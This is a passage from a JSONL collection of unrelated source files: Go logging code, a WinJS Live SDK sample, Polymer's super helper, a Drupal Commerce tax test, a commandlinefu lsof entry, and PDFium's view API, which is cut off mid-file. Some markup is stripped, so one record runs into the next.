uint64(length)\n}\n"} +{"text": "\n
    \n <% page.posts.each(function(post) { %>\n \n <% }); %>\n \n
    \n"} +{"text": "\n\n/// \n(function () {\n \"use strict\";\n\n WinJS.UI.Pages.define(\"/pages/home/home.html\", {\n // This function is called whenever a user navigates to this page. It\n // populates the page elements with the app's data.\n ready: function (element, options) {\n liveSdkSample.currentPage = liveSdkSample.HOMEPAGE;\n WL.getLoginStatus().then(\n function (result) {\n if (result.status == \"connected\") {\n statusText.innerText = \"You are connected! \";\n liveSdkSample.displayMe();\n }\n else {\n statusText.innerText = \"You are not connected! \";\n connectButton.onclick = function () {\n WL.login({\n scope: liveSdkSample.defaultScopes\n }).then(\n function (result) {\n if (result.status == \"connected\") {\n connectButton.style.display = \"none\";\n statusText.innerText = \"You are connected!\";\n liveSdkSample.displayMe();\n }\n }\n );\n };\n connectButton.style.display = \"block\";\n }\n });\n },\n\n \n });\n})();\n\n"} +{"text": "// Copyright (c) 2016 Uber Technologies, Inc.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.\n\npackage zap\n\nimport (\n\t\"runtime\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"go.uber.org/zap/internal/bufferpool\"\n)\n\nconst _zapPackage = \"go.uber.org/zap\"\n\nvar (\n\t_stacktracePool = sync.Pool{\n\t\tNew: func() interface{} {\n\t\t\treturn newProgramCounters(64)\n\t\t},\n\t}\n\n\t// We add \".\" and \"/\" suffixes to the package name to ensure we only match\n\t// the exact package and not any package with the same prefix.\n\t_zapStacktracePrefixes = addPrefix(_zapPackage, \".\", \"/\")\n\t_zapStacktraceVendorContains = addPrefix(\"/vendor/\", _zapStacktracePrefixes...)\n)\n\nfunc takeStacktrace() string {\n\tbuffer := bufferpool.Get()\n\tdefer buffer.Free()\n\tprogramCounters := _stacktracePool.Get().(*programCounters)\n\tdefer _stacktracePool.Put(programCounters)\n\n\tvar numFrames int\n\tfor {\n\t\t// Skip the call to runtime.Counters and takeStacktrace so that the\n\t\t// program counters start at the caller of takeStacktrace.\n\t\tnumFrames = runtime.Callers(2, programCounters.pcs)\n\t\tif numFrames < len(programCounters.pcs) {\n\t\t\tbreak\n\t\t}\n\t\t// Don't put the too-short counter slice back into the pool; this lets\n\t\t// the pool adjust if we consistently take deep stacktraces.\n\t\tprogramCounters = newProgramCounters(len(programCounters.pcs) * 2)\n\t}\n\n\ti := 0\n\tskipZapFrames := true // skip all consecutive zap frames at the beginning.\n\tframes := runtime.CallersFrames(programCounters.pcs[:numFrames])\n\n\t// Note: On the last iteration, frames.Next() returns false, with a valid\n\t// frame, but we ignore this frame. The last frame is a a runtime frame which\n\t// adds noise, since it's only either runtime.main or runtime.goexit.\n\tfor frame, more := frames.Next(); more; frame, more = frames.Next() {\n\t\tif skipZapFrames && isZapFrame(frame.Function) {\n\t\t\tcontinue\n\t\t} else {\n\t\t\tskipZapFrames = false\n\t\t}\n\n\t\tif i != 0 {\n\t\t\tbuffer.AppendByte('\\n')\n\t\t}\n\t\ti++\n\t\tbuffer.AppendString(frame.Function)\n\t\tbuffer.AppendByte('\\n')\n\t\tbuffer.AppendByte('\\t')\n\t\tbuffer.AppendString(frame.File)\n\t\tbuffer.AppendByte(':')\n\t\tbuffer.AppendInt(int64(frame.Line))\n\t}\n\n\treturn buffer.String()\n}\n\nfunc isZapFrame(function string) bool {\n\tfor _, prefix := range _zapStacktracePrefixes {\n\t\tif strings.HasPrefix(function, prefix) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// We can't use a prefix match here since the location of the vendor\n\t// directory affects the prefix. Instead we do a contains match.\n\tfor _, contains := range _zapStacktraceVendorContains {\n\t\tif strings.Contains(function, contains) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\ntype programCounters struct {\n\tpcs []uintptr\n}\n\nfunc newProgramCounters(size int) *programCounters {\n\treturn &programCounters{make([]uintptr, size)}\n}\n\nfunc addPrefix(prefix string, ss ...string) []string {\n\twithPrefix := make([]string, len(ss))\n\tfor i, s := range ss {\n\t\twithPrefix[i] = prefix + s\n\t}\n\treturn withPrefix\n}\n"} +{"text": "commandlinefu_id: 8579\ntranslator:\n weibo: ''\nhide: true\ncommand: |-\n lsof | grep 'DEL.*lib' | sort -k1,1 -u\nsummary: |-\n Find out which process uses an old lib and needs a restart after a system update\n"} +{"text": "/*\n * Copyright 2013 The Polymer Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style\n * license that can be found in the LICENSE file.\n */\n (function(scope) {\n // super\n \n // `arrayOfArgs` is an optional array of args like one might pass\n // to `Function.apply`\n\n // TODO(sjmiles):\n // $super must be installed on an instance or prototype chain\n // as `super`, and invoked via `this`, e.g.\n // `this.super();`\n \n // will not work if function objects are not unique, for example,\n // when using mixins.\n // The memoization strategy assumes each function exists on only one \n // prototype chain i.e. we use the function object for memoizing)\n // perhaps we can bookkeep on the prototype itself instead\n function $super(arrayOfArgs) {\n // since we are thunking a method call, performance is important here: \n // memoize all lookups, once memoized the fast path calls no other \n // functions\n //\n // find the caller (cannot be `strict` because of 'caller')\n var caller = $super.caller;\n // memoized 'name of method' \n var nom = caller.nom;\n // memoized next implementation prototype\n if (!('_super' in caller)) {\n if (!nom) {\n nom = nameInThis.call(this, caller);\n }\n if (!nom) {\n console.warn('called super() on a method not installed declaratively (has no .nom property)');\n }\n // super prototype is either cached or we have to find it\n // by searching __proto__ (at the 'top')\n memoizeSuper(caller, nom, Object.getPrototypeOf(this));\n }\n var _super = caller._super;\n if (!_super) {\n // if _super is falsey, there is no super implementation\n //console.warn('called $super(' + nom + ') where there is no super implementation');\n } else {\n // our super function\n var fn = _super[nom];\n // memoize information so 'fn' can call 'super'\n if (!('_super' in fn)) {\n memoizeSuper(fn, nom, _super);\n }\n // invoke the inherited method\n // if 'fn' is not function valued, this will throw\n return fn.apply(this, arrayOfArgs || []);\n }\n };\n\n function nextSuper(proto, name, caller) {\n // look for an inherited prototype that implements name\n while (proto &&\n (!proto.hasOwnProperty(name) || proto[name] === caller)) {\n proto = Object.getPrototypeOf(proto);\n }\n return proto;\n };\n\n function memoizeSuper(method, name, proto) {\n // find and cache next prototype containing `name`\n // we need the prototype so we can do another lookup\n // from here\n method._super = nextSuper(proto, name, method);\n if (method._super) {\n // _super is a prototype, the actual method is _super[name]\n // tag super method with it's name for further lookups\n method._super[name].nom = name;\n }\n return method._super;\n };\n\n function nameInThis(value) {\n console.warn('nameInThis called');\n var p = this;\n while (p && p !== HTMLElement.prototype) {\n var n$ = Object.getOwnPropertyNames(p);\n for (var i=0, l=n$.length, n; icreateEntity('commerce_tax_type', [\n 'id' => 'custom',\n 'plugin' => 'custom',\n 'label' => 'Custom',\n ]);\n\n $this->drupalGet($tax_type->toUrl('edit-form'));\n $this->getSession()->getPage()->pressButton('remove_rate0');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->getSession()->getPage()->pressButton('remove_territory0');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->submitForm([], t('Save'));\n $this->assertSession()->pageTextContains('Please add at least one rate.');\n $this->assertSession()->pageTextContains('Please add at least one territory.');\n\n $this->getSession()->getPage()->selectFieldOption('configuration[custom][display_label]', 'vat');\n $this->getSession()->getPage()->pressButton('Add rate');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->getSession()->getPage()->fillField('configuration[custom][rates][0][rate][label]', 'Sample rate');\n $this->getSession()->getPage()->fillField('configuration[custom][rates][0][percentage]', '15');\n $this->getSession()->getPage()->pressButton('Add rate');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->getSession()->getPage()->fillField('configuration[custom][rates][1][rate][label]', 'Sample rate 2');\n $this->getSession()->getPage()->fillField('configuration[custom][rates][1][percentage]', '17.5');\n\n $this->getSession()->getPage()->pressButton('Add territory');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->getSession()->getPage()->selectFieldOption('configuration[custom][territories][0][territory][country_code]', 'FR');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->getSession()->getPage()->pressButton('Add territory');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->getSession()->getPage()->selectFieldOption('configuration[custom][territories][1][territory][country_code]', 'IT');\n $this->assertSession()->assertWaitOnAjaxRequest();\n $this->submitForm([], t('Save'));\n $this->container->get('entity_type.manager')->getStorage('commerce_tax_type')->resetCache([$tax_type->id()]);\n $tax_type = TaxType::load($tax_type->id());\n $plugin_configuration = $tax_type->getPlugin()->getConfiguration();\n $this->assertEquals('vat', $plugin_configuration['display_label']);\n $this->assertEquals('Sample rate', $plugin_configuration['rates'][0]['label']);\n $this->assertEquals('0.15', $plugin_configuration['rates'][0]['percentage']);\n $this->assertEquals('Sample rate 2', $plugin_configuration['rates'][1]['label']);\n $this->assertEquals('0.175', $plugin_configuration['rates'][1]['percentage']);\n\n $this->assertEquals('FR', $plugin_configuration['territories'][0]['country_code']);\n $this->assertEquals('IT', $plugin_configuration['territories'][1]['country_code']);\n }\n\n}\n"} +{"text": "// Copyright 2014 PDFium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n \n// Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com\n\n#include \"../include/fsdk_define.h\"\n#include \"../include/fpdfview.h\"\n#include \"../include/fsdk_rendercontext.h\"\n#include \"../include/fpdf_progressive.h\"\n#include \"../include/fpdf_ext.h\"\n#include \"../../third_party/numerics/safe_conversions_impl.h\"\n\nCPDF_CustomAccess::CPDF_CustomAccess(FPDF_FILEACCESS* pFileAccess)\n{\n\tif (pFileAccess)\n\t\tm_FileAccess = *pFileAccess;\n}\n\nFX_BOOL CPDF_CustomAccess::ReadBlock(void* buffer, FX_FILESIZE offset, size_t size)\n{\n if (offset < 0) {\n return FALSE;\n }\n FX_SAFE_FILESIZE newPos = base::checked_cast(size);\n newPos += offset;\n if (!newPos.IsValid() || newPos.ValueOrDie() > m_FileAccess.m_FileLen) {\n return FALSE;\n }\n return m_FileAccess.m_GetBlock(m_FileAccess.m_Param, offset,(FX_LPBYTE) buffer, size);\n}\n\n//0 bit: FPDF_POLICY_MACHINETIME_ACCESS\nstatic FX_DWORD foxit_sandbox_policy = 0xFFFFFFFF;\n\nvoid FSDK_SetSandBoxPolicy(FPDF_DWORD policy, FPDF_BOOL enable)\n{\n\tswitch(policy)\n\t{\n\tcase FPDF_POLICY_MACHINETIME_ACCESS:\n\t\t{\n\t\t\tif(enable)\n\t\t\t\tfoxit_sandbox_policy |= 0x01;\n\t\t\telse\n\t\t\t\tfoxit_sandbox_policy &= 0xFFFFFFFE;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nFPDF_BOOL FSDK_IsSandBoxPolicyEnabled(FPDF_DWORD policy)\n{\n\tswitch(policy)\n\t{\n\tcase FPDF_POLICY_MACHINETIME_ACCESS:\n\t\t{\n\t\t\tif(foxit_sandbox_policy&0x01)\n\t\t\t\treturn TRUE;\n\t\t\telse\n\t\t\t\treturn FALSE;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\treturn FALSE;\n}\n\n\n#ifndef _T\n#define _T(x) x\n#endif\n\n#ifdef API5\n\tCPDF_ModuleMgr*\tg_pModuleMgr = NULL;\n#else\n\tCCodec_ModuleMgr*\tg_pCodecModule = NULL;\n#endif\n\n//extern CPDFSDK_FormFillApp* g_pFormFillApp;\n\n#if _FX_OS_ == _FX_LINUX_EMBEDDED_\nclass CFontMapper : public IPDF_FontMapper\n{\npublic:\n\tCFontMapper();\n\tvirtual ~CFontMapper();\n\n\tvirtual FT_Face FindSubstFont(\n\t\t\t\t\t\t\tCPDF_Document* pDoc,\t\t\t\t// [IN] The PDF document\n\t\t\t\t\t\t\tconst CFX_ByteString& face_name,\t// [IN] Original name\n\t\t\t\t\t\t\tFX_BOOL bTrueType,\t\t\t\t\t// [IN] TrueType or Type1\n\t\t\t\t\t\t\tFX_DWORD flags,\t\t\t\t\t\t// [IN] PDF font flags (see PDF Reference section 5.7.1)\n\t\t\t\t\t\t\tint font_weight,\t\t\t\t\t// [IN] original font weight. 0 for not specified\n\t\t\t\t\t\t\tint CharsetCP,\t\t\t\t\t\t// [IN] code page for charset (see Win32 GetACP())\n\t\t\t\t\t\t\tFX_BOOL bVertical,\n\t\t\t\t\t\t\tCPDF_SubstFont* pSubstFont\t\t\t// [OUT] Subst font data\n\t\t\t\t\t\t);\n\n\tFT_Face m_SysFace;\n};\n\nCFontMapper* g_pFontMapper = NULL;\n#endif\t\t// #if _FX_OS_ == _FX_LINUX_EMBEDDED_\n\nDLLEXPORT void STDCALL FPDF_InitLibrary(FX_LPVOID hInstance)\n{\n#ifdef API5\n\tCPDF_ModuleMgr::Create();\n\tg_pModuleMgr = CPDF_ModuleMgr::Get();\n\t #if _FX_OS_ == _FX_WIN32_MOBILE_ || _FX_OS_ == _FX_LINUX_EMBEDDED_\n\t \tg_pModuleMgr->InitEmbedded();\n\t #ifdef _GB1_CMAPS_\n\t \tg_pModuleMgr->LoadEmbeddedGB1CMaps();\n\t #endif\n\t #ifdef _GB1_CMAPS_4_\n\t \tg_pModuleMgr->LoadEmbeddedGB1CMaps_4();\n\t #endif\n\t #ifdef _CNS1_CMAPS_\n\t \tg_pModuleMgr->LoadEmbeddedCNS1CMaps();\n\t #endif\n\t #ifdef _JAPAN1_CMAPS_\n\t \tg_pModuleMgr->LoadEmbeddedJapan1CMaps();\n\t #endif\n\t #ifdef _JAPAN1_CMAPS_6_\n\t \tg_pModuleMgr->LoadEmbeddedJapan1CMaps_6();\n\t #endif\n\t #ifdef _KOREA1_CMAPS_\n\t \tg_pModuleMgr->LoadEmbeddedKorea1CMaps();\n\t #endif\n\t #ifdef _JPX_DECODER_\n\t \tg_pModuleMgr->InitJpxModule();\n\t \tg_pModuleMgr->InitJbig2Module();\n\t //\tg_pModuleMgr->InitIccModule();\n\t #endif\n\t #else\n\t \tg_pModuleMgr->InitDesktop();\n\t #endif\n#else\n\tg_pCodecModule = CCodec_ModuleMgr::Create();\n\t\n\tCFX_GEModule::Create();\n\tCFX_GEModule::Get()->SetCodecModule(g_pCodecModule);\n\t\n\tCPDF_ModuleMgr::Create();\n\tCPDF_ModuleMgr::Get()->SetCodecModule(g_pCodecModule);\n\tCPDF_ModuleMgr::Get()->InitPageModule();\n\tCPDF_ModuleMgr::Get()->InitRenderModule();\n#ifdef FOXIT_CHROME_BUILD\n\tCPDF_ModuleMgr * pModuleMgr = CPDF_ModuleMgr::Get();\n\tif ( pModuleMgr )\n\t{\n\t\tpModuleMgr->LoadEmbeddedGB1CMaps();\n\t\tpModuleMgr->LoadEmbeddedJapan1CMaps();\n\t\tpModuleMgr->LoadEmbeddedCNS1CMaps();\n\t\tpModuleMgr->LoadEmbeddedKorea1CMaps();\n\t}\n#endif \n#endif\n\n#ifdef _WIN32\n\t// Get module path\n\tTCHAR app_path[MAX_PATH];\n\t::GetModuleFileName((HINSTANCE)hInstance, app_path, MAX_PATH);\n\tsize_t len = _tcslen(app_path);\n\tfor (size_t i = len; i >= 0; i --)\n\t\tif (app_path[i] == '\\\\') {\n\t\t\tapp_path[i] = 0;\n\t\t\tbreak;\n\t\t}\n\t\t\n#ifdef _UNICODE\n\t\t#ifndef _FXSDK_OPENSOURCE_\n\t\tCPDF_ModuleMgr::Get()->SetModulePath(NULL, CFX_ByteString::FromUnicode(app_path));\n\t\t#endif\n#else\n#ifndef _FXSDK_OPENSOURCE_\n\t\tCPDF_ModuleMgr::Get()->SetModulePath(NULL, app_path);\n#endif\n#endif\n#endif\n}\n\n\nDLLEXPORT void STDCALL FPDF_DestroyLibrary()\n{\n\n#if _FX_OS_ == _FX_LINUX_EMBEDDED_\n\tif (g_pFontMapper) delete g_pFontMapper;\n#endif\n#ifdef API5\n\tg_pModuleMgr->Destroy();\n#else\n\tCPDF_ModuleMgr::Destroy();\n\tCFX_GEModule::Destroy();\n\tg_pCodecModule->Destroy();\n#endif\n#ifndef _FXSDK_OPENSOURCE_\n\tFXMEM_CollectAll(FXMEM_GetDefaultMgr());\n#else\n\n#endif\n}\n\n#ifndef _WIN32\nint g_LastError;\nvoid SetLastError(int err)\n{\n\tg_LastError = err;\n}\n\nint GetLastError()\n{\n\treturn g_LastError;\n}\n#endif\n\nvoid ProcessParseError(FX_DWORD err_code)\n{\n\t// Translate FPDFAPI error code to FPDFVIEW error code\n\tswitch (err_code) {\n\t\tcase PDFPARSE_ERROR_FILE:\n\t\t\terr_code = FPDF_ERR_FILE;\n\t\t\tbreak;\n\t\tcase PDFPARSE_ERROR_FORMAT:\n\t\t\terr_code = FPDF_ERR_FORMAT;\n\t\t\tbreak;\n\t\tcase PDFPARSE_ERROR_PASSWORD:\n\t\t\terr_code = FPDF_ERR_PASSWORD;\n\t\t\tbreak;\n\t\tcase PDFPARSE_ERROR_HANDLER:\n\t\t\terr_code = FPDF_ERR_SECURITY;\n\t\t\tbreak;\n\t}\n\tSetLastError(err_code);\n}\n\nDLLEXPORT void\tSTDCALL FPDF_SetSandBoxPolicy(FPDF_DWORD policy, FPDF_BOOL enable)\n{\n\treturn FSDK_SetSandBoxPolicy(policy, enable);\n}\n\nDLLEXPORT FPDF_DOCUMENT STDCALL FPDF_LoadDocument(FPDF_STRING file_path, FPDF_BYTESTRING password)\n{\n\tCPDF_Parser* pParser = FX_NEW CPDF_Parser;\n\tpParser->SetPassword(password);\n\n\tFX_DWORD err_code = pParser->StartParse((FX_LPCSTR)file_path);\n\tif (err_code) {\n\t\tdelete pParser;\n\t\tProcessParseError(err_code);\n\t\treturn NULL;\n\t}\n\treturn pParser->GetDocument();\n}\n\nextern void CheckUnSupportError(CPDF_Document * pDoc, FX_DWORD err_code);\n\nclass CMemFile FX_FINAL: public IFX_FileRead, public CFX_Object\n{\npublic:\n\tCMemFile(FX_BYTE* pBuf, FX_FILESIZE size):m_pBuf(pBuf),m_size(size) {}\n\n\tvirtual void\t\t\tRelease() {delete this;}\n\tvirtual FX_FILESIZE\t\tGetSize() {return m_size;}\n\tvirtual FX_BOOL\t\t\tReadBlock(void* buffer, FX_FILESIZE offset, size_t size) \n\t{\n if (offset < 0) {\n return FALSE;\n }\n FX_SAFE_FILESIZE newPos = base::checked_cast(size);\n newPos += offset;\n if (!newPos.IsValid() || newPos.ValueOrDie() > (FX_DWORD)m_size) {\n return FALSE;\n }\n\t FXSYS_memcpy(buffer, m_pBuf+offset, size);\n\t return TRUE;\n\t}\nprivate:\n\tFX_BYTE* m_pBuf;\n\tFX_FILESIZE m_size;\n};\nDLLEXPORT FPDF_DOCUMENT STDCALL FPDF_LoadMemDocument(const void* data_buf, int size, FPDF_BYTESTRING password)\n{\n\tCPDF_Parser* pParser = FX_NEW CPDF_Parser;\n\tpParser->SetPassword(password);\n\tCMemFile* pMemFile = FX_NEW CMemFile((FX_BYTE*)data_buf, size);\n\tFX_DWORD err_code = pParser->StartParse(pMemFile);\n\tif (err_code) {\n\t\tdelete pParser;\n\t\tProcessParseError(err_code);\n\t\treturn NULL;\n\t}\n\tCPDF_Document * pDoc = NULL;\n\tpDoc = pParser?pParser->GetDocument():NULL;\n\tCheckUnSupportError(pDoc, err_code);\n\treturn pParser->GetDocument();\n}\n\nDLLEXPORT FPDF_DOCUMENT STDCALL FPDF_LoadCustomDocument(FPDF_FILEACCESS* pFileAccess, FPDF_BYTESTRING password)\n{\n\tCPDF_Parser* pParser = FX_NEW CPDF_Parser;\n\tpParser->SetPassword(password);\n\tCPDF_CustomAccess* pFile = FX_NEW CPDF_CustomAccess(pFileAccess);\n\tFX_DWORD err_code = pParser->StartParse(pFile);\n\tif (err_code) {\n\t\tdelete pParser;\n\t\tProcessParseError(err_code);\n\t\treturn NULL;\n\t}\n\tCPDF_Document * pDoc = NULL;\n\tpDoc = pParser?pParser->GetDocument():NULL;\n\tCheckUnSupportError(pDoc, err_code);\n\treturn pParser->GetDocument();\n}\n\nDLLEXPORT FPDF_BOOL STDCALL FPDF_GetFileVersion(FPDF_DOCUMENT doc, int* fileVersion)\n{\n\tif(!doc||!fileVersion) return FALSE;\n\t*fileVersion = 0;\n\tCPDF_Document* pDoc = (CPDF_Document*)doc;\n\tCPDF_Parser* pParser = (CPDF_Parser*)pDoc->GetParser();\n\tif(!pParser)\n\t\treturn FALSE;\n\t*fileVersion = pParser->GetFileVersion();\n\treturn TRUE;\n}\n\n// jabdelmalek: changed return type from FX_DWORD to build on Linux (and match header).\nDLLEXPORT unsigned long STDCALL FPDF_GetDocPermissions(FPDF_DOCUMENT document)\n{\n\tif (document == NULL) return 0;\n\tCPDF_Document*pDoc = (CPDF_Document*)document;\n\tCPDF_Parser* pParser = \t(CPDF_Parser*)pDoc->GetParser();\n\tCPDF_Dictionary* pDict = pParser->GetEncryptDict();\n\tif (pDict == NULL) return (FX_DWORD)-1;\n\n\treturn pDict->GetInteger(\"P\");\n}\n\nDLLEXPORT int STDCALL FPDF_GetPageCount(FPDF_DOCUMENT document)\n{\n\tif (document == NULL) return 0;\n\treturn ((CPDF_Document*)document)->GetPageCount();\n}\n\nDLLEXPORT FPDF_PAGE STDCALL FPDF_LoadPage(FPDF_DOCUMENT document, int page_index)\n{\n\tif (document == NULL) return NULL;\n\tif (page_index < 0 || page_index >= FPDF_GetPageCount(document)) return NULL;\n//\tCPDF_Parser* pParser = (CPDF_Parser*)document;\n\tCPDF_Document* pDoc = (CPDF_Document*)document;\n\tif (pDoc == NULL) return NULL;\n\tCPDF_Dictionary* pDict = pDoc->GetPage(page_index);\n\tif (pDict == NULL) return NULL;\n\tCPDF_Page* pPage = FX_NEW CPDF_Page;\n\tpPage->Load(pDoc, pDict);\n\tpPage->ParseContent();\n\t\n//\tCheckUnSupportError(pDoc, 0);\n\n\treturn pPage;\n}\n\nDLLEXPORT double STDCALL FPDF_GetPageWidth(FPDF_PAGE page)\n{\n\tif (!page)\n\t\treturn 0.0;\n\treturn ((CPDF_Page*)page)->GetPageWidth();\n}\n\nDLLEXPORT double STDCALL FPDF_GetPageHeight(FPDF_PAGE page)\n{\n\tif (!page) return 0.0;\n\treturn ((CPDF_Page*)page)->GetPageHeight();\n}\n\nvoid DropContext(void* data)\n{\n\tdelete (CRenderContext*)data;\n}\n\nvoid FPDF_RenderPage_Retail(CRenderContext* pContext, FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y,\n\t\t\t\t\t\tint rotate, int flags,FX_BOOL bNeedToRestore, IFSDK_PAUSE_Adapter * pause );\nvoid (*Func_RenderPage)(CRenderContext*, FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y,\n\t\t\t\t\t\tint rotate, int flags,FX_BOOL bNeedToRestore, IFSDK_PAUSE_Adapter * pause ) = FPDF_RenderPage_Retail;\n\n#if defined(_DEBUG) || defined(DEBUG)\n#define DEBUG_TRACE\n#endif\n\n#if defined(_WIN32)\nDLLEXPORT void STDCALL FPDF_RenderPage(HDC dc, FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y,\n\t\t\t\t\t\tint rotate, int flags)\n{\n\tif (page==NULL) return;\n\tCPDF_Page* pPage = (CPDF_Page*)page;\n\n\tCRenderContext* pContext = FX_NEW CRenderContext;\n\tpPage->SetPrivateData((void*)1, pContext, DropContext);\n\n#ifndef _WIN32_WCE\n\tCFX_DIBitmap* pBitmap = NULL;\n\tFX_BOOL bBackgroundAlphaNeeded=FALSE;\n\tbBackgroundAlphaNeeded = pPage->BackgroundAlphaNeeded();\n\tif (bBackgroundAlphaNeeded)\n\t{\n\t\t\n\t\tpBitmap = FX_NEW CFX_DIBitmap;\n\t\tpBitmap->Create(size_x, size_y, FXDIB_Argb);\n\t\tpBitmap->Clear(0x00ffffff);\n#ifdef _SKIA_SUPPORT_\n\t\tpContext->m_pDevice = FX_NEW CFX_SkiaDevice;\n\t\t((CFX_SkiaDevice*)pContext->m_pDevice)->Attach((CFX_DIBitmap*)pBitmap);\n#else\n\t\tpContext->m_pDevice = FX_NEW CFX_FxgeDevice;\n\t\t((CFX_FxgeDevice*)pContext->m_pDevice)->Attach((CFX_DIBitmap*)pBitmap);\n#endif\n\t}\n\telse\n\t pContext->m_pDevice = FX_NEW CFX_WindowsDevice(dc);\n\n\tFunc_RenderPage(pContext, page, start_x, start_y, size_x, size_y, rotate, flags,TRUE,NULL);\n\n\tif (bBackgroundAlphaNeeded) \n\t{\n\t\tif (pBitmap)\n\t\t{\n\t\t\tCFX_WindowsDevice WinDC(dc);\n\t\t\t\n \t\t\tif (WinDC.GetDeviceCaps(FXDC_DEVICE_CLASS) == FXDC_PRINTER)\n \t\t\t{\n\t\t\t\tCFX_DIBitmap* pDst = FX_NEW CFX_DIBitmap;\n\t\t\t\tpDst->Create(pBitmap->GetWidth(), pBitmap->GetHeight(),FXDIB_Rgb32);\n\t\t\t\tFXSYS_memcpy(pDst->GetBuffer(), pBitmap->GetBuffer(), pBitmap->GetPitch()*pBitmap->GetHeight());\n//\t\t\t\tWinDC.SetDIBits(pDst,0,0);\n\t\t\t\tWinDC.StretchDIBits(pDst,0,0,size_x,size_y);\n\t\t\t\tdelete pDst;\n \t\t\t}\n \t\t\telse\n \t\t\t\tWinDC.SetDIBits(pBitmap,0,0);\n\n\t\t}\n\t}\n#else\n\t// get clip region\n\tRECT rect, cliprect;\n\trect.left = start_x;\n\trect.top = start_y;\n\trect.right = start_x + size_x;\n\trect.bottom = start_y + size_y;\n\tGetClipBox(dc, &cliprect);\n\tIntersectRect(&rect, &rect, &cliprect);\n\tint width = rect.right - rect.left;\n\tint height = rect.bottom - rect.top;\n\n#ifdef DEBUG_TRACE\n\t{\n\t\tchar str[128];\n\t\tsprintf(str, \"Rendering DIB %d x %d\", width, height);\n\t\tCPDF_ModuleMgr::Get()->ReportError(999, str);\n\t}\n#endif\n\n\t// Create a DIB section\n\tLPVOID pBuffer;\n\tBITMAPINFOHEADER bmih;\n\tFXSYS_memset(&bmih, 0, sizeof bmih);\n\tbmih.biSize = sizeof bmih;\n\tbmih.biBitCount = 24;\n\tbmih.biHeight = -height;\n\tbmih.biPlanes = 1;\n\tbmih.biWidth = width;\n\tpContext->m_hBitmap = CreateDIBSection(dc, (BITMAPINFO*)&bmih, DIB_RGB_COLORS, &pBuffer, NULL, 0);\n\tif (pContext->m_hBitmap == NULL) {\n#if defined(DEBUG) || defined(_DEBUG)\n\t\tchar str[128];\n\t\tsprintf(str, \"Error CreateDIBSection: %d x %d, error code = %d\", width, height, GetLastError());\n\t\tCPDF_ModuleMgr::Get()->ReportError(FPDFERR_OUT_OF_MEMORY, str);\n#else\n\t\tCPDF_ModuleMgr::Get()->ReportError(FPDFERR_OUT_OF_MEMORY, NULL);\n#endif\n\t}\n\tFXSYS_memset(pBuffer, 0xff, height*((width*3+3)/4*4));\n\n#ifdef DEBUG_TRACE\n\t{\n\t\tCPDF_ModuleMgr::Get()->ReportError(999, \"DIBSection created\");\n\t}\n#endif\n\n\t// Create a device with this external buffer\n\tpContext->m_pBitmap = FX_NEW CFX_DIBitmap;\n\tpContext->m_pBitmap->Create(width, height, FXDIB_Rgb, (FX_LPBYTE)pBuffer);\n\tpContext->m_pDevice = FX_NEW CPDF_FxgeDevice;\n\t((CPDF_FxgeDevice*)pContext->m_pDevice)->Attach(pContext->m_pBitmap);\n\t\n#ifdef DEBUG_TRACE\n\tCPDF_ModuleMgr::Get()->ReportError(999, \"Ready for PDF rendering\");\n#endif\n\n\t// output to bitmap device\n\tFunc_RenderPage(pContext, page, start_x - rect.left, start_y - rect.top, size_x, size_y, rotate, flags);\n\n#ifdef DEBUG_TRACE\n\tCPDF_ModuleMgr::Get()->ReportError(999, \"Finished PDF rendering\");\n#endif\n\n\t// Now output to real device\n\tHDC hMemDC = CreateCompatibleDC(dc);\n\tif (hMemDC == NULL) {\n#if defined(DEBUG) || defined(_DEBUG)\n\t\tchar str[128];\n\t\tsprintf(str, \"Error CreateCompatibleDC. Error code = %d\", GetLastError());\n\t\tCPDF_ModuleMgr::Get()->ReportError(FPDFERR_OUT_OF_MEMORY, str);\n#else\n\t\tCPDF_ModuleMgr::Get()->ReportError(FPDFERR_OUT_OF_MEMORY, NULL);\n#endif\n\t}\n\n\tHGDIOBJ hOldBitmap = SelectObject(hMemDC, pContext->m_hBitmap);\n\n#ifdef DEBUG_TRACE\n\tCPDF_ModuleMgr::Get()->ReportError(999, \"Ready for screen rendering\");\n#endif\n\n\tBitBlt(dc, rect.left, rect.top, width, height, hMemDC, 0, 0, SRCCOPY);\n\tSelectObject(hMemDC, hOldBitmap);\n\tDeleteDC(hMemDC);\n\n#ifdef DEBUG_TRACE\n\tCPDF_ModuleMgr::Get()->ReportError(999, \"Finished screen rendering\");\n#endif\n\n#endif\n\tif 